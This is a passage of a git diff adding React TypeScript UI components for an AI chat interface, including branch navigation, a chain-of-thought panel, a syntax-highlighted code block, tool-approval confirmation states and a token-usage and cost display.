+  }, [childrenArray, branches, setBranches])
+
+  return childrenArray.map((branch, index) => (
+    <div
+      className={cn(
+        'grid gap-2 overflow-hidden [&>div]:pb-0',
+        index === currentBranch ? 'block' : 'hidden'
+      )}
+      key={branch.key}
+      {...props}
+    >
+      {branch}
+    </div>
+  ))
+}
+
+export type BranchSelectorProps = HTMLAttributes<HTMLDivElement> & {
+  from: UIMessage['role']
+}
+
+export const BranchSelector = ({
+  className,
+  from,
+  ...props
+}: BranchSelectorProps) => {
+  const { totalBranches } = useBranch()
+
+  // Don't render if there's only one branch
+  if (totalBranches <= 1) {
+    return null
+  }
+
+  return (
+    <div
+      className={cn(
+        'flex items-center gap-2 self-end px-10',
+        from === 'assistant' ? 'justify-start' : 'justify-end',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export type BranchPreviousProps = ComponentProps<typeof Button>
+
+export const BranchPrevious = ({
+  className,
+  children,
+  ...props
+}: BranchPreviousProps) => {
+  const { t } = useTranslation()
+  const { goToPrevious, totalBranches } = useBranch()
+
+  return (
+    <Button
+      aria-label={t('Previous branch')}
+      className={cn(
+        'text-muted-foreground size-7 shrink-0 rounded-full transition-colors',
+        'hover:bg-accent hover:text-foreground',
+        'disabled:pointer-events-none disabled:opacity-50',
+        className
+      )}
+      disabled={totalBranches <= 1}
+      onClick={goToPrevious}
+      size='icon'
+      type='button'
+      variant='ghost'
+      {...props}
+    >
+      {children ?? <ChevronLeftIcon size={14} />}
+    </Button>
+  )
+}
+
+export type BranchNextProps = ComponentProps<typeof Button>
+
+export const BranchNext = ({
+  className,
+  children,
+  ...props
+}: BranchNextProps) => {
+  const { t } = useTranslation()
+  const { goToNext, totalBranches } = useBranch()
+
+  return (
+    <Button
+      aria-label={t('Next branch')}
+      className={cn(
+        'text-muted-foreground size-7 shrink-0 rounded-full transition-colors',
+        'hover:bg-accent hover:text-foreground',
+        'disabled:pointer-events-none disabled:opacity-50',
+        className
+      )}
+      disabled={totalBranches <= 1}
+      onClick={goToNext}
+      size='icon'
+      type='button'
+      variant='ghost'
+      {...props}
+    >
+      {children ?? <ChevronRightIcon size={14} />}
+    </Button>
+  )
+}
+
+export type BranchPageProps = HTMLAttributes<HTMLSpanElement>
+
+export const BranchPage = ({ className, ...props }: BranchPageProps) => {
+  const { t } = useTranslation()
+  const { currentBranch, totalBranches } = useBranch()
+
+  return (
+    <span
+      className={cn(
+        'text-muted-foreground text-xs font-medium tabular-nums',
+        className
+      )}
+      {...props}
+    >
+      {currentBranch + 1} {t('of')} {totalBranches}
+    </span>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/canvas.tsx b/new-api/web/default/src/components/ai-elements/canvas.tsx
new file mode 100644
index 0000000..2f931ca
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/canvas.tsx
@@ -0,0 +1,24 @@
+import type { ReactNode } from 'react'
+import { Background, ReactFlow, type ReactFlowProps } from '@xyflow/react'
+import '@xyflow/react/dist/style.css'
+import { Controls } from './controls'
+
+type CanvasProps = ReactFlowProps & {
+  children?: ReactNode
+}
+
+export const Canvas = ({ children, ...props }: CanvasProps) => (
+  <ReactFlow
+    deleteKeyCode={['Backspace', 'Delete']}
+    fitView
+    panOnDrag={false}
+    panOnScroll
+    selectionOnDrag={true}
+    zoomOnDoubleClick={false}
+    {...props}
+  >
+    <Background bgColor='var(--sidebar)' />
+    <Controls />
+    {children}
+  </ReactFlow>
+)
diff --git a/new-api/web/default/src/components/ai-elements/chain-of-thought.tsx b/new-api/web/default/src/components/ai-elements/chain-of-thought.tsx
new file mode 100644
index 0000000..f0dbcd2
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/chain-of-thought.tsx
@@ -0,0 +1,233 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  memo,
+  useContext,
+  useMemo,
+} from 'react'
+import { useControllableState } from '@radix-ui/react-use-controllable-state'
+import {
+  BrainIcon,
+  ChevronDownIcon,
+  DotIcon,
+  type LucideIcon,
+} from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+
+type ChainOfThoughtContextValue = {
+  isOpen: boolean
+  setIsOpen: (open: boolean) => void
+}
+
+const ChainOfThoughtContext = createContext<ChainOfThoughtContextValue | null>(
+  null
+)
+
+const useChainOfThought = () => {
+  const context = useContext(ChainOfThoughtContext)
+  if (!context) {
+    throw new Error(
+      'ChainOfThought components must be used within ChainOfThought'
+    )
+  }
+  return context
+}
+
+export type ChainOfThoughtProps = ComponentProps<'div'> & {
+  open?: boolean
+  defaultOpen?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+
+export const ChainOfThought = memo(
+  ({
+    className,
+    open,
+    defaultOpen = false,
+    onOpenChange,
+    children,
+    ...props
+  }: ChainOfThoughtProps) => {
+    const [isOpen, setIsOpen] = useControllableState({
+      prop: open,
+      defaultProp: defaultOpen,
+      onChange: onOpenChange,
+    })
+
+    const chainOfThoughtContext = useMemo(
+      () => ({ isOpen, setIsOpen }),
+      [isOpen, setIsOpen]
+    )
+
+    return (
+      <ChainOfThoughtContext.Provider value={chainOfThoughtContext}>
+        <div
+          className={cn('not-prose max-w-prose space-y-4', className)}
+          {...props}
+        >
+          {children}
+        </div>
+      </ChainOfThoughtContext.Provider>
+    )
+  }
+)
+
+export type ChainOfThoughtHeaderProps = ComponentProps<
+  typeof CollapsibleTrigger
+>
+
+export const ChainOfThoughtHeader = memo(
+  ({ className, children, ...props }: ChainOfThoughtHeaderProps) => {
+    const { isOpen, setIsOpen } = useChainOfThought()
+
+    return (
+      <Collapsible onOpenChange={setIsOpen} open={isOpen}>
+        <CollapsibleTrigger
+          className={cn(
+            'text-muted-foreground hover:text-foreground flex w-full items-center gap-2 text-sm transition-colors',
+            className
+          )}
+          {...props}
+        >
+          <BrainIcon className='size-4' />
+          <span className='flex-1 text-left'>
+            {children ?? 'Chain of Thought'}
+          </span>
+          <ChevronDownIcon
+            className={cn(
+              'size-4 transition-transform',
+              isOpen ? 'rotate-180' : 'rotate-0'
+            )}
+          />
+        </CollapsibleTrigger>
+      </Collapsible>
+    )
+  }
+)
+
+export type ChainOfThoughtStepProps = ComponentProps<'div'> & {
+  icon?: LucideIcon
+  label: string
+  description?: string
+  status?: 'complete' | 'active' | 'pending'
+}
+
+export const ChainOfThoughtStep = memo(
+  ({
+    className,
+    icon: Icon = DotIcon,
+    label,
+    description,
+    status = 'complete',
+    children,
+    ...props
+  }: ChainOfThoughtStepProps) => {
+    const statusStyles = {
+      complete: 'text-muted-foreground',
+      active: 'text-foreground',
+      pending: 'text-muted-foreground/50',
+    }
+
+    return (
+      <div
+        className={cn(
+          'flex gap-2 text-sm',
+          statusStyles[status],
+          'fade-in-0 slide-in-from-top-2 animate-in',
+          className
+        )}
+        {...props}
+      >
+        <div className='relative mt-0.5'>
+          <Icon className='size-4' />
+          <div className='bg-border absolute top-7 bottom-0 left-1/2 -mx-px w-px' />
+        </div>
+        <div className='flex-1 space-y-2'>
+          <div>{label}</div>
+          {description && (
+            <div className='text-muted-foreground text-xs'>{description}</div>
+          )}
+          {children}
+        </div>
+      </div>
+    )
+  }
+)
+
+export type ChainOfThoughtSearchResultsProps = ComponentProps<'div'>
+
+export const ChainOfThoughtSearchResults = memo(
+  ({ className, ...props }: ChainOfThoughtSearchResultsProps) => (
+    <div className={cn('flex items-center gap-2', className)} {...props} />
+  )
+)
+
+export type ChainOfThoughtSearchResultProps = ComponentProps<typeof Badge>
+
+export const ChainOfThoughtSearchResult = memo(
+  ({ className, children, ...props }: ChainOfThoughtSearchResultProps) => (
+    <Badge
+      className={cn('gap-1 px-2 py-0.5 text-xs font-normal', className)}
+      variant='secondary'
+      {...props}
+    >
+      {children}
+    </Badge>
+  )
+)
+
+export type ChainOfThoughtContentProps = ComponentProps<
+  typeof CollapsibleContent
+>
+
+export const ChainOfThoughtContent = memo(
+  ({ className, children, ...props }: ChainOfThoughtContentProps) => {
+    const { isOpen } = useChainOfThought()
+
+    return (
+      <Collapsible open={isOpen}>
+        <CollapsibleContent
+          className={cn(
+            'mt-2 space-y-3',
+            'data-[state=closed]:fade-out-0 data-[state=closed]:slide-out-to-top-2 data-[state=open]:slide-in-from-top-2 text-popover-foreground data-[state=closed]:animate-out data-[state=open]:animate-in outline-none',
+            className
+          )}
+          {...props}
+        >
+          {children}
+        </CollapsibleContent>
+      </Collapsible>
+    )
+  }
+)
+
+export type ChainOfThoughtImageProps = ComponentProps<'div'> & {
+  caption?: string
+}
+
+export const ChainOfThoughtImage = memo(
+  ({ className, children, caption, ...props }: ChainOfThoughtImageProps) => (
+    <div className={cn('mt-2 space-y-2', className)} {...props}>
+      <div className='bg-muted relative flex max-h-[22rem] items-center justify-center overflow-hidden rounded-lg p-3'>
+        {children}
+      </div>
+      {caption && <p className='text-muted-foreground text-xs'>{caption}</p>}
+    </div>
+  )
+)
+
+ChainOfThought.displayName = 'ChainOfThought'
+ChainOfThoughtHeader.displayName = 'ChainOfThoughtHeader'
+ChainOfThoughtStep.displayName = 'ChainOfThoughtStep'
+ChainOfThoughtSearchResults.displayName = 'ChainOfThoughtSearchResults'
+ChainOfThoughtSearchResult.displayName = 'ChainOfThoughtSearchResult'
+ChainOfThoughtContent.displayName = 'ChainOfThoughtContent'
+ChainOfThoughtImage.displayName = 'ChainOfThoughtImage'
diff --git a/new-api/web/default/src/components/ai-elements/code-block.tsx b/new-api/web/default/src/components/ai-elements/code-block.tsx
new file mode 100644
index 0000000..14e86cc
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/code-block.tsx
@@ -0,0 +1,170 @@
+/* eslint-disable react-refresh/only-export-components */
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  type HTMLAttributes,
+  useContext,
+  useEffect,
+  useState,
+} from 'react'
+import type { Element } from 'hast'
+import { CheckIcon, CopyIcon } from 'lucide-react'
+import {
+  type BundledLanguage,
+  codeToHtml,
+  type ShikiTransformer,
+} from 'shiki/bundle/web'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+
+type CodeBlockProps = HTMLAttributes<HTMLDivElement> & {
+  code: string
+  language: BundledLanguage
+  showLineNumbers?: boolean
+}
+
+type CodeBlockContextType = {
+  code: string
+}
+
+const CodeBlockContext = createContext<CodeBlockContextType>({
+  code: '',
+})
+
+const lineNumberTransformer: ShikiTransformer = {
+  name: 'line-numbers',
+  line(node: Element, line: number) {
+    node.children.unshift({
+      type: 'element',
+      tagName: 'span',
+      properties: {
+        className: [
+          'inline-block',
+          'min-w-10',
+          'mr-4',
+          'text-right',
+          'select-none',
+          'text-muted-foreground',
+        ],
+      },
+      children: [{ type: 'text', value: String(line) }],
+    })
+  },
+}
+
+export async function highlightCode(
+  code: string,
+  language: BundledLanguage,
+  showLineNumbers = false
+) {
+  const transformers: ShikiTransformer[] = showLineNumbers
+    ? [lineNumberTransformer]
+    : []
+
+  return codeToHtml(code, {
+    lang: language,
+    themes: {
+      light: 'one-light',
+      dark: 'one-dark-pro',
+    },
+    transformers,
+  })
+}
+
+export const CodeBlock = ({
+  code,
+  language,
+  showLineNumbers = false,
+  className,
+  children,
+  ...props
+}: CodeBlockProps) => {
+  const [html, setHtml] = useState<string>('')
+
+  useEffect(() => {
+    let cancelled = false
+    highlightCode(code, language, showLineNumbers).then((next) => {
+      if (!cancelled) {
+        setHtml(next)
+      }
+    })
+    return () => {
+      cancelled = true
+    }
+  }, [code, language, showLineNumbers])
+
+  return (
+    <CodeBlockContext.Provider value={{ code }}>
+      <div
+        className={cn(
+          'group bg-background text-foreground relative w-full overflow-hidden rounded-md border',
+          className
+        )}
+        {...props}
+      >
+        <div className='relative'>
+          <div
+            className='[&>pre]:bg-background! [&>pre]:text-foreground! overflow-hidden [&_code]:font-mono [&_code]:text-sm [&>pre]:m-0 [&>pre]:p-4 [&>pre]:text-sm'
+            // biome-ignore lint/security/noDangerouslySetInnerHtml: "this is needed."
+            dangerouslySetInnerHTML={{ __html: html }}
+          />
+          {children && (
+            <div className='absolute top-2 right-2 flex items-center gap-2'>
+              {children}
+            </div>
+          )}
+        </div>
+      </div>
+    </CodeBlockContext.Provider>
+  )
+}
+
+export type CodeBlockCopyButtonProps = ComponentProps<typeof Button> & {
+  onCopy?: () => void
+  onError?: (error: Error) => void
+  timeout?: number
+}
+
+export const CodeBlockCopyButton = ({
+  onCopy,
+  onError,
+  timeout = 2000,
+  children,
+  className,
+  ...props
+}: CodeBlockCopyButtonProps) => {
+  const [isCopied, setIsCopied] = useState(false)
+  const { code } = useContext(CodeBlockContext)
+
+  const copyToClipboard = async () => {
+    if (typeof window === 'undefined' || !navigator?.clipboard?.writeText) {
+      onError?.(new Error('Clipboard API not available'))
+      return
+    }
+
+    try {
+      await navigator.clipboard.writeText(code)
+      setIsCopied(true)
+      onCopy?.()
+      setTimeout(() => setIsCopied(false), timeout)
+    } catch (error) {
+      onError?.(error as Error)
+    }
+  }
+
+  const Icon = isCopied ? CheckIcon : CopyIcon
+
+  return (
+    <Button
+      className={cn('shrink-0', className)}
+      onClick={copyToClipboard}
+      size='icon'
+      variant='ghost'
+      {...props}
+    >
+      {children ?? <Icon size={14} />}
+    </Button>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/confirmation.tsx b/new-api/web/default/src/components/ai-elements/confirmation.tsx
new file mode 100644
index 0000000..e67db38
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/confirmation.tsx
@@ -0,0 +1,154 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  type ReactNode,
+  useContext,
+} from 'react'
+import type { ToolUIPart } from 'ai'
+import { cn } from '@/lib/utils'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+
+// Workaround for missing types in 'ai' package
+type ExtendedToolState =
+  | ToolUIPart['state']
+  | 'approval-requested'
+  | 'approval-responded'
+  | 'output-denied'
+type ExtendedToolApproval = { approved: boolean }
+
+type ConfirmationContextValue = {
+  approval: ExtendedToolApproval | undefined
+  state: ExtendedToolState
+}
+
+const ConfirmationContext = createContext<ConfirmationContextValue | null>(null)
+
+const useConfirmation = () => {
+  const context = useContext(ConfirmationContext)
+
+  if (!context) {
+    throw new Error('Confirmation components must be used within Confirmation')
+  }
+
+  return context
+}
+
+export type ConfirmationProps = ComponentProps<typeof Alert> & {
+  approval?: ExtendedToolApproval
+  state: ExtendedToolState
+}
+
+export const Confirmation = ({
+  className,
+  approval,
+  state,
+  ...props
+}: ConfirmationProps) => {
+  if (!approval || state === 'input-streaming' || state === 'input-available') {
+    return null
+  }
+
+  return (
+    <ConfirmationContext.Provider value={{ approval, state }}>
+      <Alert className={cn('flex flex-col gap-2', className)} {...props} />
+    </ConfirmationContext.Provider>
+  )
+}
+
+export type ConfirmationTitleProps = ComponentProps<typeof AlertDescription>
+
+export const ConfirmationTitle = ({
+  className,
+  ...props
+}: ConfirmationTitleProps) => (
+  <AlertDescription className={cn('inline', className)} {...props} />
+)
+
+export type ConfirmationRequestProps = {
+  children?: ReactNode
+}
+
+export const ConfirmationRequest = ({ children }: ConfirmationRequestProps) => {
+  const { state } = useConfirmation()
+
+  // Only show when approval is requested
+  if (state !== 'approval-requested') {
+    return null
+  }
+
+  return children
+}
+
+export type ConfirmationAcceptedProps = {
+  children?: ReactNode
+}
+
+export const ConfirmationAccepted = ({
+  children,
+}: ConfirmationAcceptedProps) => {
+  const { approval, state } = useConfirmation()
+
+  // Only show when approved and in response states
+  if (
+    !approval?.approved ||
+    (state !== 'approval-responded' &&
+      state !== 'output-denied' &&
+      state !== 'output-available')
+  ) {
+    return null
+  }
+
+  return children
+}
+
+export type ConfirmationRejectedProps = {
+  children?: ReactNode
+}
+
+export const ConfirmationRejected = ({
+  children,
+}: ConfirmationRejectedProps) => {
+  const { approval, state } = useConfirmation()
+
+  // Only show when rejected and in response states
+  if (
+    approval?.approved !== false ||
+    (state !== 'approval-responded' &&
+      state !== 'output-denied' &&
+      state !== 'output-available')
+  ) {
+    return null
+  }
+
+  return children
+}
+
+export type ConfirmationActionsProps = ComponentProps<'div'>
+
+export const ConfirmationActions = ({
+  className,
+  ...props
+}: ConfirmationActionsProps) => {
+  const { state } = useConfirmation()
+
+  // Only show when approval is requested
+  if (state !== 'approval-requested') {
+    return null
+  }
+
+  return (
+    <div
+      className={cn('flex items-center justify-end gap-2 self-end', className)}
+      {...props}
+    />
+  )
+}
+
+export type ConfirmationActionProps = ComponentProps<typeof Button>
+
+export const ConfirmationAction = (props: ConfirmationActionProps) => (
+  <Button className='h-8 px-3 text-sm' type='button' {...props} />
+)
diff --git a/new-api/web/default/src/components/ai-elements/connection.tsx b/new-api/web/default/src/components/ai-elements/connection.tsx
new file mode 100644
index 0000000..d4b25d9
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/connection.tsx
@@ -0,0 +1,28 @@
+import type { ConnectionLineComponent } from '@xyflow/react'
+
+const HALF = 0.5
+
+export const Connection: ConnectionLineComponent = ({
+  fromX,
+  fromY,
+  toX,
+  toY,
+}) => (
+  <g>
+    <path
+      className='animated'
+      d={`M${fromX},${fromY} C ${fromX + (toX - fromX) * HALF},${fromY} ${fromX + (toX - fromX) * HALF},${toY} ${toX},${toY}`}
+      fill='none'
+      stroke='var(--color-ring)'
+      strokeWidth={1}
+    />
+    <circle
+      cx={toX}
+      cy={toY}
+      fill='#fff'
+      r={3}
+      stroke='var(--color-ring)'
+      strokeWidth={1}
+    />
+  </g>
+)
diff --git a/new-api/web/default/src/components/ai-elements/context.tsx b/new-api/web/default/src/components/ai-elements/context.tsx
new file mode 100644
index 0000000..6bf3b87
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/context.tsx
@@ -0,0 +1,415 @@
+'use client'
+
+import { type ComponentProps, createContext, useContext } from 'react'
+import type { LanguageModelUsage } from 'ai'
+import { useTranslation } from 'react-i18next'
+import { getUsage } from 'tokenlens'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  HoverCard,
+  HoverCardContent,
+  HoverCardTrigger,
+} from '@/components/ui/hover-card'
+import { Progress } from '@/components/ui/progress'
+
+const PERCENT_MAX = 100
+const ICON_RADIUS = 10
+const ICON_VIEWBOX = 24
+const ICON_CENTER = 12
+const ICON_STROKE_WIDTH = 2
+
+type ModelId = string
+
+type ContextSchema = {
+  usedTokens: number
+  maxTokens: number
+  usage?: LanguageModelUsage
+  modelId?: ModelId
+}
+
+const ContextContext = createContext<ContextSchema | null>(null)
+
+const useContextValue = () => {
+  const context = useContext(ContextContext)
+
+  if (!context) {
+    throw new Error('Context components must be used within Context')
+  }
+
+  return context
+}
+
+export type ContextProps = ComponentProps<typeof HoverCard> & ContextSchema
+
+export const Context = ({
+  usedTokens,
+  maxTokens,
+  usage,
+  modelId,
+  ...props
+}: ContextProps) => (
+  <ContextContext.Provider
+    value={{
+      usedTokens,
+      maxTokens,
+      usage,
+      modelId,
+    }}
+  >
+    <HoverCard closeDelay={0} openDelay={0} {...props} />
+  </ContextContext.Provider>
+)
+
+const ContextIcon = () => {
+  const { t } = useTranslation()
+  const { usedTokens, maxTokens } = useContextValue()
+  const circumference = 2 * Math.PI * ICON_RADIUS
+  const usedPercent = usedTokens / maxTokens
+  const dashOffset = circumference * (1 - usedPercent)
+
+  return (
+    <svg
+      aria-label={t('Model context usage')}
+      height='20'
+      role='img'
+      style={{ color: 'currentcolor' }}
+      viewBox={`0 0 ${ICON_VIEWBOX} ${ICON_VIEWBOX}`}
+      width='20'
+    >
+      <circle
+        cx={ICON_CENTER}
+        cy={ICON_CENTER}
+        fill='none'
+        opacity='0.25'
+        r={ICON_RADIUS}
+        stroke='currentColor'
+        strokeWidth={ICON_STROKE_WIDTH}
+      />
+      <circle
+        cx={ICON_CENTER}
+        cy={ICON_CENTER}
+        fill='none'
+        opacity='0.7'
+        r={ICON_RADIUS}
+        stroke='currentColor'
+        strokeDasharray={`${circumference} ${circumference}`}
+        strokeDashoffset={dashOffset}
+        strokeLinecap='round'
+        strokeWidth={ICON_STROKE_WIDTH}
+        style={{ transformOrigin: 'center', transform: 'rotate(-90deg)' }}
+      />
+    </svg>
+  )
+}
+
+export type ContextTriggerProps = ComponentProps<typeof Button>
+
+export const ContextTrigger = ({ children, ...props }: ContextTriggerProps) => {
+  const { usedTokens, maxTokens } = useContextValue()
+  const usedPercent = usedTokens / maxTokens
+  const renderedPercent = new Intl.NumberFormat('en-US', {
+    style: 'percent',
+    maximumFractionDigits: 1,
+  }).format(usedPercent)
+
+  return (
+    <HoverCardTrigger asChild>
+      {children ?? (
+        <Button type='button' variant='ghost' {...props}>
+          <span className='text-muted-foreground font-medium'>
+            {renderedPercent}
+          </span>
+          <ContextIcon />
+        </Button>
+      )}
+    </HoverCardTrigger>
+  )
+}
+
+export type ContextContentProps = ComponentProps<typeof HoverCardContent>
+
+export const ContextContent = ({
+  className,
+  ...props
+}: ContextContentProps) => (
+  <HoverCardContent
+    className={cn('min-w-60 divide-y overflow-hidden p-0', className)}
+    {...props}
+  />
+)
+
+export type ContextContentHeaderProps = ComponentProps<'div'>
+
+export const ContextContentHeader = ({
+  children,
+  className,
+  ...props
+}: ContextContentHeaderProps) => {
+  const { usedTokens, maxTokens } = useContextValue()
+  const usedPercent = usedTokens / maxTokens
+  const displayPct = new Intl.NumberFormat('en-US', {
+    style: 'percent',
+    maximumFractionDigits: 1,
+  }).format(usedPercent)
+  const used = new Intl.NumberFormat('en-US', {
+    notation: 'compact',
+  }).format(usedTokens)
+  const total = new Intl.NumberFormat('en-US', {
+    notation: 'compact',
+  }).format(maxTokens)
+
+  return (
+    <div className={cn('w-full space-y-2 p-3', className)} {...props}>
+      {children ?? (
+        <>
+          <div className='flex items-center justify-between gap-3 text-xs'>
+            <p>{displayPct}</p>
+            <p className='text-muted-foreground font-mono'>
+              {used} / {total}
+            </p>
+          </div>
+          <div className='space-y-2'>
+            <Progress className='bg-muted' value={usedPercent * PERCENT_MAX} />
+          </div>
+        </>
+      )}
+    </div>
+  )
+}
+
+export type ContextContentBodyProps = ComponentProps<'div'>
+
+export const ContextContentBody = ({
+  children,
+  className,
+  ...props
+}: ContextContentBodyProps) => (
+  <div className={cn('w-full p-3', className)} {...props}>
+    {children}
+  </div>
+)
+
+export type ContextContentFooterProps = ComponentProps<'div'>
+
+export const ContextContentFooter = ({
+  children,
+  className,
+  ...props
+}: ContextContentFooterProps) => {
+  const { t } = useTranslation()
+  const { modelId, usage } = useContextValue()
+  const costUSD = modelId
+    ? getUsage({
+        modelId,
+        usage: {
+          input: usage?.inputTokens ?? 0,
+          output: usage?.outputTokens ?? 0,
+        },
+      }).costUSD?.totalUSD
+    : undefined
+  const totalCost = new Intl.NumberFormat('en-US', {
+    style: 'currency',
+    currency: 'USD',
+  }).format(costUSD ?? 0)
+
+  return (
+    <div
+      className={cn(
+        'bg-secondary flex w-full items-center justify-between gap-3 p-3 text-xs',
+        className
+      )}
+      {...props}
+    >
+      {children ?? (
+        <>
+          <span className='text-muted-foreground'>{t('Total cost')}</span>
+          <span>{totalCost}</span>
+        </>
+      )}
+    </div>
+  )
+}
+
+export type ContextInputUsageProps = ComponentProps<'div'>
+
+export const ContextInputUsage = ({
+  className,
+  children,
+  ...props
+}: ContextInputUsageProps) => {
+  const { t } = useTranslation()
+  const { usage, modelId } = useContextValue()
+  const inputTokens = usage?.inputTokens ?? 0
+
+  if (children) {
+    return children
+  }
+
+  if (!inputTokens) {
+    return null
+  }
+
+  const inputCost = modelId
+    ? getUsage({
+        modelId,
+        usage: { input: inputTokens, output: 0 },
+      }).costUSD?.totalUSD
+    : undefined
+  const inputCostText = new Intl.NumberFormat('en-US', {
+    style: 'currency',
+    currency: 'USD',
+  }).format(inputCost ?? 0)
+
+  return (
+    <div
+      className={cn('flex items-center justify-between text-xs', className)}
+      {...props}
+    >
+      <span className='text-muted-foreground'>{t('Input')}</span>
+      <TokensWithCost costText={inputCostText} tokens={inputTokens} />
+    </div>
+  )
+}
+
+export type ContextOutputUsageProps = ComponentProps<'div'>
+
+export const ContextOutputUsage = ({
+  className,
+  children,
+  ...props
+}: ContextOutputUsageProps) => {
+  const { t } = useTranslation()
+  const { usage, modelId } = useContextValue()
+  const outputTokens = usage?.outputTokens ?? 0
+
+  if (children) {
+    return children
+  }
+
+  if (!outputTokens) {
+    return null
+  }
+
+  const outputCost = modelId
+    ? getUsage({
+        modelId,
+        usage: { input: 0, output: outputTokens },
+      }).costUSD?.totalUSD
+    : undefined
+  const outputCostText = new Intl.NumberFormat('en-US', {
+    style: 'currency',
+    currency: 'USD',
+  }).format(outputCost ?? 0)
+
+  return (
+    <div
+      className={cn('flex items-center justify-between text-xs', className)}
+      {...props}
+    >
+      <span className='text-muted-foreground'>{t('Output')}</span>
+      <TokensWithCost costText={outputCostText} tokens={outputTokens} />
+    </div>
+  )
+}
+
+export type ContextReasoningUsageProps = ComponentProps<'div'>
+
+export const ContextReasoningUsage = ({
+  className,
+  children,
+  ...props
+}: ContextReasoningUsageProps) => {
+  const { t } = useTranslation()
+  const { usage, modelId } = useContextValue()
+  const reasoningTokens = usage?.reasoningTokens ?? 0
+
+  if (children) {
+    return children
+  }
+
+  if (!reasoningTokens) {
+    return null
+  }
+
+  const reasoningCost = modelId
+    ? getUsage({
+        modelId,
+        usage: { reasoningTokens },
+      }).costUSD?.totalUSD
+    : undefined
+  const reasoningCostText = new Intl.NumberFormat('en-US', {
+    style: 'currency',
+    currency: 'USD',
+  }).format(reasoningCost ?? 0)
+
+  return (
+    <div
+      className={cn('flex items-center justify-between text-xs', className)}
+      {...props}
+    >
+      <span className='text-muted-foreground'>{t('Reasoning')}</span>
+      <TokensWithCost costText={reasoningCostText} tokens={reasoningTokens} />
+    </div>
+  )
+}
+
+export type ContextCacheUsageProps = ComponentProps<'div'>
+
+export const ContextCacheUsage = ({
+  className,
+  children,
+  ...props
+}: ContextCacheUsageProps) => {
+  const { t } = useTranslation()
+  const { usage, modelId } = useContextValue()
+  const cacheTokens = usage?.cachedInputTokens ?? 0
+
+  if (children) {
+    return children
+  }
+
+  if (!cacheTokens) {
+    return null
+  }
+
+  const cacheCost = modelId
+    ? getUsage({
+        modelId,
+        usage: { cacheReads: cacheTokens, input: 0, output: 0 },
+      }).costUSD?.totalUSD
+    : undefined
+  const cacheCostText = new Intl.NumberFormat('en-US', {
+    style: 'currency',
+    currency: 'USD',
+  }).format(cacheCost ?? 0)
+
+  return (
+    <div
+      className={cn('flex items-center justify-between text-xs', className)}
+      {...props}
+    >
+      <span className='text-muted-foreground'>{t('Cache')}</span>
+      <TokensWithCost costText={cacheCostText} tokens={cacheTokens} />
+    </div>
+  )
+}
+
+const TokensWithCost = ({
+  tokens,
+  costText,
+}: {
+  tokens?: number
+  costText?: string
+}) => (
+  <span>
+    {tokens === undefined
+      ? '—'
+      : new Intl.NumberFormat('en-US', {
+          notation: 'compact',
+        }).format(tokens)}
+    {costText ? (
+      <span className='text-muted-foreground ml-2'>• {costText}</span>
+    ) : null}
+  </span>
+)
diff --git a/new-api/web/default/src/components/ai-elements/controls.tsx b/new-api/web/default/src/components/ai-elements/controls.tsx
new file mode 100644
index 0000000..b0cadfa
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/controls.tsx
@@ -0,0 +1,18 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { Controls as ControlsPrimitive } from '@xyflow/react'
+import { cn } from '@/lib/utils'
+
+export type ControlsProps = ComponentProps<typeof ControlsPrimitive>
+
+export const Controls = ({ className, ...props }: ControlsProps) => (
+  <ControlsPrimitive
+    className={cn(
+      'bg-card gap-px overflow-hidden rounded-md border p-1 shadow-none!',
+      '[&>button]:hover:bg-secondary! [&>button]:rounded-md [&>button]:border-none! [&>button]:bg-transparent!',
+      className
+    )}
+    {...props}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/conversation.tsx b/new-api/web/default/src/components/ai-elements/conversation.tsx
new file mode 100644
index 0000000..88abc74
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/conversation.tsx
@@ -0,0 +1,107 @@
+'use client'
+
+import { type ComponentProps, useCallback } from 'react'
+import { ArrowDownIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { StickToBottom, useStickToBottomContext } from 'use-stick-to-bottom'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+
+export type ConversationProps = ComponentProps<typeof StickToBottom>
+
+export const Conversation = ({ className, ...props }: ConversationProps) => (
+  <StickToBottom
+    className={cn('relative flex-1 overflow-y-auto', className)}
+    initial='smooth'
+    resize='smooth'
+    role='log'
+    {...props}
+  />
+)
+
+export type ConversationContentProps = ComponentProps<
+  typeof StickToBottom.Content
+>
+
+export const ConversationContent = ({
+  className,
+  ...props
+}: ConversationContentProps) => (
+  <StickToBottom.Content className={cn('p-4', className)} {...props} />
+)
+
+export type ConversationEmptyStateProps = ComponentProps<'div'> & {
+  title?: string
+  description?: string
+  icon?: React.ReactNode
+}
+
+export const ConversationEmptyState = ({
+  className,
+  title,
+  description,
+  icon,
+  children,
+  ...props
+}: ConversationEmptyStateProps) => {
+  const { t } = useTranslation()
+  const resolvedTitle = title ?? t('No messages yet')
+  const resolvedDescription =
+    description ?? t('Start a conversation to see messages here')
+
+  return (
+    <div
+      className={cn(
+        'flex size-full flex-col items-center justify-center gap-3 p-8 text-center',
+        className
+      )}
+      {...props}
+    >
+      {children ?? (
+        <>
+          {icon && <div className='text-muted-foreground'>{icon}</div>}
+          <div className='space-y-1'>
+            <h3 className='text-sm font-medium'>{resolvedTitle}</h3>
